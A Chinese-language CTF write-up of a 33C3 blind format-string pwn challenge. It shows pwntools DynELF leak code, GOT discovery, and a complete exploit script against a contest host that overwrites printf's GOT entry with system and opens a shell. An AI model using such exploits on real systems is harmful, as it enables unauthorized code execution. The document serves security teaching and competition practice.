Info

Category: pwn
Point: 150
Author: bruce30262 @ BambooFox

Analyzing

這題沒有給任何的 binary,只有一張圖片,長得像這樣:

eat:                  sleep:
+-----------------+   +----------------+
| sub rsp, 0x100  |   | mov edi, 0x1   |
| mov rdi, rsp    |   | call _sleep    |
| call _gets      |   |                |
|                 |   |                |
+-----------------+   +----------------+
pwn:                  repeat:
+-----------------+   +----------------+
| mov rdi, rsp    |   |                |
| call _printf    |   | jmp eat        |
| add rsp, 0x100  |   |                |
|                 |   |                |
+-----------------+   +----------------+

hmmm……

可以發現到程式裡有兩個很明顯的漏洞: stack overflow 與 format string。這題 stack overflow 應該是打不了,因為有個無限迴圈在那邊,程式無法 return。因此這題的重點在於如何在沒有提供任何 binary 的情況下利用 format string 漏洞來 exploit 整個 service。

Exploit

在這裡不得不提 pwntools 裡頭一個相當強大的 module — DynELF。透過 DynELF 以及程式當中的任意讀漏洞,pwntools 將有辦法幫助我們 leak 出遠端機器的 binary 資訊,包括 function 在 libc 中的位址,遠端 binary 的 .dynamic section 位址……等等。

要使用這個功能,首先我們必須提供一個 leak function,來讓 pwntools 有辦法透過這個 function leak 出任意位址的內容。這題的 leak function 可以透過程式當中的 format string 漏洞來實作:

def leak(addr):
    payload = "%7$s.AAA"+p64(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    resp = r.recvuntil(".AAA")
    ret = resp[:-4:] + "\x00"
    print "ret:", repr(ret)
    r.recvrepeat(0.2) # receive the rest of the string
    return ret

之後我們還必須提供一個 binary 裡頭的位址。透過輸入 %30$p,我們可以 leak 出遠端 binary 的 text address 0x40060d。之後我們就可以透過 DynELF 來幫助我們 resolve 一些 libc 中的 function address。

首先我們會需要遠端的 printfsystem 的 function address:

d = DynELF(leak, 0x40060d)
system_addr = d.lookup('system', 'libc')
printf_addr = d.lookup('printf', 'libc')

log.success("printf_addr: "+hex(printf_addr))
log.success("system_addr: "+hex(system_addr))

因為每 leak 一次就要 sleep 一秒的關係,因此這邊 resolve 的過程會花些時間 ( pwntools 會需要 leak 出一堆 address 來 resolve function 的位址 )

[+] printf_addr: 0x7fb040a17550
[+] system_addr: 0x7fb040a066d0

有了遠端的 printfsystem 的 address,我們就可以計算兩者之間的 offset,然後在下一次的連線中透過以下步驟來進行 exploit:

  1. 先 leak 出 printf@got.plt,然後計算 system 的位址
  2. 透過 format string 來 overwrite printf 的 GOT ( hijack 成 system )
  3. 輸入 “sh”,執行 system("sh") 拿 shell

那麼該怎麼獲得 printf GOT 的位址呢 ? 這裡我是先透過 DynELFdynamic 功能來獲取 .dynamic section 的位址:

d = DynELF(leak, 0x40060d)
dynamic_ptr = d.dynamic

有了 .dynamic section 的位址,我們就可以透過 leak .dynamic section 的資訊來獲取 .got.plt 的位址:

Dynamic section at offset 0xe28 contains 24 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x400400
 0x000000000000000d (FINI)               0x400614
 0x0000000000000019 (INIT_ARRAY)         0x600e10
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x600e18
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x400298
 0x0000000000000005 (STRTAB)             0x400330
 0x0000000000000006 (SYMTAB)             0x4002b8
 0x000000000000000a (STRSZ)              68 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x601000  <--- here
cnt = 0
while True:
    addr = dynamic_ptr + 0x10*cnt
    ret = leak(addr)
    if ret == "\x03\x00": #TYPE PLTGOT
        addr += 8
        for i in xrange(8):
            ret = leak(addr+i)
            print "ret:", ret.encode('hex')
        break
    else:
        cnt += 1

最後,透過 leak 出所有的 GOT entry,我們可以藉由比對 function address 的低 12 bit 來判斷 printf@got.plt 的位址:

got = 0x601000
for i in xrange(8):
    addr = got + i*8
    ret = leak(addr)
    print "ret:", ret.encode('hex')

這下該有的位址都有了,可以開始 exploit 了:

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "78.46.224.86"
PORT = 1337
# setting 
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'

def leak(addr):
    payload = "%7$s.AAA"+p64(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    resp = r.recvuntil(".AAA")
    ret = resp[:-4:] + "\x00"
    print "ret:", repr(ret)
    r.recvrepeat(0.2)
    return ret
    
if __name__ == "__main__":

    r = remote(HOST, PORT)

    printf_got = 0x601018
    printf_addr = u64(leak(printf_got).ljust(8, "\x00"))
    system_addr = printf_addr - 0x10e80 # remote

    log.success("printf_addr: "+hex(printf_addr))
    log.success("system_addr: "+hex(system_addr))

    byte1 = system_addr & 0xff
    byte2 = (system_addr & 0xffff00) >> 8
    log.success("byte1: "+hex(byte1))
    log.success("byte2: "+hex(byte2))

    payload = "%" + str(byte1) + "c" + "%10$hhn."
    payload += "%" + str(byte2-byte1-1) + "c" + "%11$hn."
    payload = payload.ljust(32, "A")
    payload += p64(printf_got) + p64(printf_got+1)
    r.sendline(payload)
    r.sendline("sh\x00")
    r.interactive()

​ flag: 33C3_f1rst_tshirt_challenge?!